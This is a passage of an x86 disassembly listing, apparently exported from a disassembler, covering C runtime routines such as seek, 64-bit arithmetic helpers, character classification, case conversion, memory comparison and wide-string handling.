sub_41DCC0+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_41DD37: ; CODE XREF: sub_41DD30+32j cmp [ebp+arg_0], 0 jnz short loc_41DD5E push offset dword_437514 push 0 push 92h push offset dword_437D18 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41DD5E int 3 ; Trap to Debugger loc_41DD5E: ; CODE XREF: sub_41DD30+Bj ; sub_41DD30+2Bj xor eax, eax test eax, eax jnz short loc_41DD37 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41DD8B cmp [ebp+arg_8], 0 jz short loc_41DD9E cmp [ebp+arg_8], 1 jz short loc_41DD9E cmp [ebp+arg_8], 2 jz short loc_41DD9E loc_41DD8B: ; CODE XREF: sub_41DD30+47j call sub_4248A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_41DE50 ; --------------------------------------------------------------------------- loc_41DD9E: ; CODE XREF: sub_41DD30+4Dj ; sub_41DD30+53j ... mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_4] mov [eax+0Ch], edx cmp [ebp+arg_8], 1 jnz short loc_41DDCE mov ecx, [ebp+var_4] push ecx call sub_4294B0 add esp, 4 mov edx, [ebp+arg_4] add edx, eax mov [ebp+arg_4], edx mov [ebp+arg_8], 0 loc_41DDCE: ; CODE XREF: sub_41DD30+81j mov eax, [ebp+var_4] push eax call sub_41F7E0 add esp, 4 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41DDFB mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFCh mov edx, [ebp+var_4] mov [edx+0Ch], ecx jmp short loc_41DE2F ; --------------------------------------------------------------------------- loc_41DDFB: ; CODE XREF: sub_41DD30+B8j mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz short loc_41DE2F mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 8 test eax, eax jz short loc_41DE2F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 400h test edx, edx jnz short loc_41DE2F mov eax, [ebp+var_4] mov dword ptr [eax+18h], 200h loc_41DE2F: ; CODE XREF: sub_41DD30+C9j ; sub_41DD30+D6j ... mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx call sub_4292F0 add esp, 0Ch sub eax, 0FFFFFFFFh neg eax sbb eax, eax neg eax dec eax loc_41DE50: ; CODE XREF: sub_41DD30+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41DD30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DE60 proc near ; CODE XREF: sub_411ED9+19Ep ; sub_412C36+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DE79 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DE79: ; CODE XREF: sub_41DE60+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA0 proc near ; CODE XREF: sub_414F2C+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call dword_4F1354 ; GetFileAttributesA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41DECB call dword_4F1348 ; RtlGetLastWin32Error push eax call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41DEFC ; --------------------------------------------------------------------------- loc_41DECB: ; CODE XREF: sub_41DEA0+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_41DEFA mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_41DEFA call sub_4248A0 mov dword ptr [eax], 0Dh call sub_4248B0 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_41DEFC ; --------------------------------------------------------------------------- loc_41DEFA: ; CODE XREF: sub_41DEA0+33j ; sub_41DEA0+3Dj xor eax, eax loc_41DEFC: ; CODE XREF: sub_41DEA0+29j ; sub_41DEA0+58j mov esp, ebp pop ebp retn sub_41DEA0 endp ; =============== S U B R O U T I N E ======================================= sub_41DF00 proc near ; CODE XREF: sub_414F46+3Fp ; sub_4188BF+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DF22 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DF63 ; --------------------------------------------------------------------------- loc_41DF22: ; CODE XREF: sub_41DF00+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DF30: ; CODE XREF: sub_41DF00+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DF30 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DF5E cmp edx, [esp+8+arg_4] ja short loc_41DF5E jb short loc_41DF5F cmp eax, [esp+8+arg_0] jbe short loc_41DF5F loc_41DF5E: ; CODE XREF: sub_41DF00+4Ej ; sub_41DF00+54j dec esi loc_41DF5F: ; CODE XREF: sub_41DF00+56j ; sub_41DF00+5Cj xor edx, edx mov eax, esi loc_41DF63: ; CODE XREF: sub_41DF00+20j pop esi pop ebx retn 10h sub_41DF00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF70 proc near ; CODE XREF: sub_414F46+2Dp ; sub_4188BF+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DF91 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DFE1 ; --------------------------------------------------------------------------- loc_41DF91: ; CODE XREF: sub_41DF70+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DF9F: ; CODE XREF: sub_41DF70+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DF9F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DFCA cmp edx, [esp+4+arg_4] ja short loc_41DFCA jb short loc_41DFD2 cmp eax, [esp+4+arg_0] jbe short loc_41DFD2 loc_41DFCA: ; CODE XREF: sub_41DF70+4Aj ; sub_41DF70+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DFD2: ; CODE XREF: sub_41DF70+52j ; sub_41DF70+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DFE1: ; CODE XREF: sub_41DF70+1Fj pop ebx retn 10h sub_41DF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DFF0 proc near ; CODE XREF: sub_415056+5Ep ; sub_415056+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41E011 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41E011: ; CODE XREF: sub_41DFF0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41E02D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41E02D: ; CODE XREF: sub_41DFF0+27j or eax, eax jnz short loc_41E049 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41E08A ; --------------------------------------------------------------------------- loc_41E049: ; CODE XREF: sub_41DFF0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41E057: ; CODE XREF: sub_41DFF0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41E057 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41E085 cmp edx, [esp+0Ch+arg_4] ja short loc_41E085 jb short loc_41E086 cmp eax, [esp+0Ch+arg_0] jbe short loc_41E086 loc_41E085: ; CODE XREF: sub_41DFF0+85j ; sub_41DFF0+8Bj dec esi loc_41E086: ; CODE XREF: sub_41DFF0+8Dj ; sub_41DFF0+93j xor edx, edx mov eax, esi loc_41E08A: ; CODE XREF: sub_41DFF0+57j dec edi jnz short loc_41E094 neg edx neg eax sbb edx, 0 loc_41E094: ; CODE XREF: sub_41DFF0+9Bj pop ebx pop esi pop edi retn 10h sub_41DFF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E0C3 push 103h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E0DA ; --------------------------------------------------------------------------- loc_41E0C3: ; CODE XREF: .nsp0:0041E0ABj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_41E0DA: ; CODE XREF: .nsp0:0041E0C1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E110 push 1 mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E125 ; --------------------------------------------------------------------------- loc_41E110: ; CODE XREF: .nsp0:0041E0FBj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_41E125: ; CODE XREF: .nsp0:0041E10Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E150 push 2 mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E165 ; --------------------------------------------------------------------------- loc_41E150: ; CODE XREF: .nsp0:0041E13Bj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_41E165: ; CODE XREF: .nsp0:0041E14Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E170 proc near ; CODE XREF: sub_4156B7+1A8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E190 push 4 mov eax, [ebp+arg_0] push eax call sub_421E50 add esp, 8 mov [ebp+var_4], eax jmp short loc_41E1A5 ; --------------------------------------------------------------------------- loc_41E190: ; CODE XREF: sub_41E170+Bj mov ecx, [ebp+arg_0] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_41E1A5: ; CODE XREF: sub_41E170+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41E170 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E1D3 push 80h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E1EA ; --------------------------------------------------------------------------- loc_41E1D3: ; CODE XREF: .nsp0:0041E1BBj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_41E1EA: ; CODE XREF: .nsp0:0041E1D1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E200 proc near ; CODE XREF: sub_424CA0+105p ; sub_426160+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E220 push 8 mov eax, [ebp+arg_0] push eax call sub_421E50 add esp, 8 mov [ebp+var_4], eax jmp short loc_41E235 ; --------------------------------------------------------------------------- loc_41E220: ; CODE XREF: sub_41E200+Bj mov ecx, [ebp+arg_0] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_41E235: ; CODE XREF: sub_41E200+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41E200 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E260 push 10h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E275 ; --------------------------------------------------------------------------- loc_41E260: ; CODE XREF: .nsp0:0041E24Bj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_41E275: ; CODE XREF: .nsp0:0041E25Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E2A3 push 107h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E2BA ; --------------------------------------------------------------------------- loc_41E2A3: ; CODE XREF: .nsp0:0041E28Bj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_41E2BA: ; CODE XREF: .nsp0:0041E2A1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E2F3 push 157h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E30A ; --------------------------------------------------------------------------- loc_41E2F3: ; CODE XREF: .nsp0:0041E2DBj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_41E30A: ; CODE XREF: .nsp0:0041E2F1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E343 push 117h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E35A ; --------------------------------------------------------------------------- loc_41E343: ; CODE XREF: .nsp0:0041E32Bj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_41E35A: ; CODE XREF: .nsp0:0041E341j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4516A8, 1 jle short loc_41E390 push 20h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E3A5 ; --------------------------------------------------------------------------- loc_41E390: ; CODE XREF: .nsp0:0041E37Bj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_41E3A5: ; CODE XREF: .nsp0:0041E38Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4516A8, 1 jle short loc_41E3F5 push 103h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E40C ; --------------------------------------------------------------------------- loc_41E3F5: ; CODE XREF: .nsp0:0041E3DDj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_41E40C: ; CODE XREF: .nsp0:0041E3F3j cmp dword ptr [ebp-4], 0 jnz short loc_41E421 cmp dword ptr [ebp+8], 5Fh jz short loc_41E421 mov dword ptr [ebp-8], 0 jmp short loc_41E428 ; --------------------------------------------------------------------------- loc_41E421: ; CODE XREF: .nsp0:0041E410j ; .nsp0:0041E416j mov dword ptr [ebp-8], 1 loc_41E428: ; CODE XREF: .nsp0:0041E41Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4516A8, 1 jle short loc_41E455 push 107h mov eax, [ebp+8] push eax call sub_421E50 add esp, 8 mov [ebp-4], eax jmp short loc_41E46C ; --------------------------------------------------------------------------- loc_41E455: ; CODE XREF: .nsp0:0041E43Dj mov ecx, [ebp+8] mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_41E46C: ; CODE XREF: .nsp0:0041E453j cmp dword ptr [ebp-4], 0 jnz short loc_41E481 cmp dword ptr [ebp+8], 5Fh jz short loc_41E481 mov dword ptr [ebp-8], 0 jmp short loc_41E488 ; --------------------------------------------------------------------------- loc_41E481: ; CODE XREF: .nsp0:0041E470j ; .nsp0:0041E476j mov dword ptr [ebp-8], 1 loc_41E488: ; CODE XREF: .nsp0:0041E47Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_415AC8+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41E4DC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41E4DD test eax, 1 jz short loc_41E4BD mov cl, [esi] cmp cl, [edi] jnz short loc_41E50A inc esi inc edi dec eax jz short loc_41E4DA loc_41E4BD: ; CODE XREF: sub_41E490+20j ; sub_41E490+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41E50A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41E50A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41E4BD loc_41E4DA: ; CODE XREF: sub_41E490+2Bj ; sub_41E490+84j pop edi pop esi locret_41E4DC: ; CODE XREF: sub_41E490+6j retn ; --------------------------------------------------------------------------- loc_41E4DD: ; CODE XREF: sub_41E490+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41E512 repe cmpsd jz short loc_41E512 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41E505 cmp ch, dh jnz short loc_41E505 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41E505 cmp ch, dh loc_41E505: ; CODE XREF: sub_41E490+63j ; sub_41E490+67j ... mov eax, 0 loc_41E50A: ; CODE XREF: sub_41E490+26j ; sub_41E490+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E512: ; CODE XREF: sub_41E490+55j ; sub_41E490+59j test eax, eax jz short loc_41E4DA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41E505 dec eax jz short loc_41E539 cmp dh, ch jnz short loc_41E505 dec eax jz short loc_41E539 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41E505 dec eax loc_41E539: ; CODE XREF: sub_41E490+8Fj ; sub_41E490+96j pop edi pop esi retn sub_41E490 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E550 proc near ; CODE XREF: sub_415DE8+6p ; sub_415E06+4Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4EF974, 0 jnz short loc_41E577 cmp [ebp+arg_0], 41h jl short loc_41E572 cmp [ebp+arg_0], 5Ah jg short loc_41E572 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41E572: ; CODE XREF: sub_41E550+11j ; sub_41E550+17j mov eax, [ebp+arg_0] jmp short loc_41E5DF ; --------------------------------------------------------------------------- loc_41E577: ; CODE XREF: sub_41E550+Bj push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_41E5A9 push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41E5B0 ; --------------------------------------------------------------------------- loc_41E5A9: ; CODE XREF: sub_41E550+39j mov [ebp+var_4], 0 loc_41E5B0: ; CODE XREF: sub_41E550+57j mov ecx, [ebp+arg_0] push ecx call sub_41E5F0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_41E5D1 push 13h call sub_41FBE0 add esp, 4 jmp short loc_41E5DC ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: sub_41E550+73j push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_41E5DC: ; CODE XREF: sub_41E550+7Fj mov eax, [ebp+arg_0] loc_41E5DF: ; CODE XREF: sub_41E550+25j mov esp, ebp pop ebp retn sub_41E550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5F0 proc near ; CODE XREF: sub_41DBF0+94p ; sub_41DBF0+9Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4EF974, 0 jnz short loc_41E61C cmp [ebp+arg_0], 41h jl short loc_41E614 cmp [ebp+arg_0], 5Ah jg short loc_41E614 mov eax, [ebp+arg_0] add eax, 20h mov [ebp+arg_0], eax loc_41E614: ; CODE XREF: sub_41E5F0+13j ; sub_41E5F0+19j mov eax, [ebp+arg_0] jmp loc_41E717 ; --------------------------------------------------------------------------- loc_41E61C: ; CODE XREF: sub_41E5F0+Dj cmp [ebp+arg_0], 100h jge short loc_41E663 cmp dword_4516A8, 1 jle short loc_41E641 push 1 mov ecx, [ebp+arg_0] push ecx call sub_421E50 add esp, 8 mov [ebp+var_10], eax jmp short loc_41E655 ; --------------------------------------------------------------------------- loc_41E641: ; CODE XREF: sub_41E5F0+3Cj mov edx, [ebp+arg_0] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 1 mov [ebp+var_10], ecx loc_41E655: ; CODE XREF: sub_41E5F0+4Fj cmp [ebp+var_10], 0 jnz short loc_41E663 mov eax, [ebp+arg_0] jmp loc_41E717 ; --------------------------------------------------------------------------- loc_41E663: ; CODE XREF: sub_41E5F0+33j ; sub_41E5F0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_41E6AC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_41E6BD ; --------------------------------------------------------------------------- loc_41E6AC: ; CODE XREF: sub_41E5F0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_41E6BD: ; CODE XREF: sub_41E5F0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 100h mov edx, dword_4EF974 push edx call sub_429750 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41E6F1 mov eax, [ebp+arg_0] jmp short loc_41E717 ; --------------------------------------------------------------------------- loc_41E6F1: ; CODE XREF: sub_41E5F0+FAj cmp [ebp+var_4], 1 jnz short loc_41E701 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_41E717 ; --------------------------------------------------------------------------- loc_41E701: ; CODE XREF: sub_41E5F0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_41E717: ; CODE XREF: sub_41E5F0+27j ; sub_41E5F0+6Ej ... mov esp, ebp pop ebp retn sub_41E5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E720 proc near ; CODE XREF: sub_4164D5+ADp ; sub_4174B4+55p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41E72A: ; CODE XREF: sub_41E720+1Fj mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax test edx, edx jz short loc_41E741 jmp short loc_41E72A ; --------------------------------------------------------------------------- loc_41E741: ; CODE XREF: sub_41E720+1Dj mov eax, [ebp+var_4] sub eax, [ebp+arg_0] sar eax, 1 sub eax, 1 mov esp, ebp pop ebp retn sub_41E720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E750 proc near ; CODE XREF: sub_4164D5+7Fp ; sub_4164D5+90p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4EFD48 call dword_4F1454 ; InterlockedIncrement cmp dword_4EFD44, 0 jz short loc_41E788 push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement push 13h call sub_41FB40 add esp, 4 mov [ebp+var_4], 1 jmp short loc_41E78F ; --------------------------------------------------------------------------- loc_41E788: ; CODE XREF: sub_41E750+18j mov [ebp+var_4], 0 loc_41E78F: ; CODE XREF: sub_41E750+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41E7D0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_41E7B8 push 13h call sub_41FBE0 add esp, 4 jmp short loc_41E7C3 ; --------------------------------------------------------------------------- loc_41E7B8: ; CODE XREF: sub_41E750+5Aj push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_41E7C3: ; CODE XREF: sub_41E750+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41E750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7D0 proc near ; CODE XREF: sub_41E750+4Bp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_4], 0 cmp [ebp+arg_0], 0 jz short loc_41E7F3 cmp [ebp+arg_8], 0 jnz short loc_41E7F3 xor eax, eax jmp loc_41E9B4 ; --------------------------------------------------------------------------- loc_41E7F3: ; CODE XREF: sub_41E7D0+14j ; sub_41E7D0+1Aj ... cmp [ebp+arg_4], 0 jnz short loc_41E817 push offset dword_437D2C push 0 push 55h push offset dword_437D20 push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41E817 int 3 ; Trap to Debugger loc_41E817: ; CODE XREF: sub_41E7D0+27j ; sub_41E7D0+44j xor eax, eax test eax, eax jnz short loc_41E7F3 cmp [ebp+arg_0], 0 jz loc_41E966 cmp dword_4EF974, 0 jnz short loc_41E879 loc_41E830: ; CODE XREF: sub_41E7D0+9Fj mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_8] jnb short loc_41E871 mov edx, [ebp+arg_4] add edx, [ebp+var_4] movzx ax, byte ptr [edx] mov ecx, [ebp+arg_0] mov [ecx], ax mov edx, [ebp+arg_4] add edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short 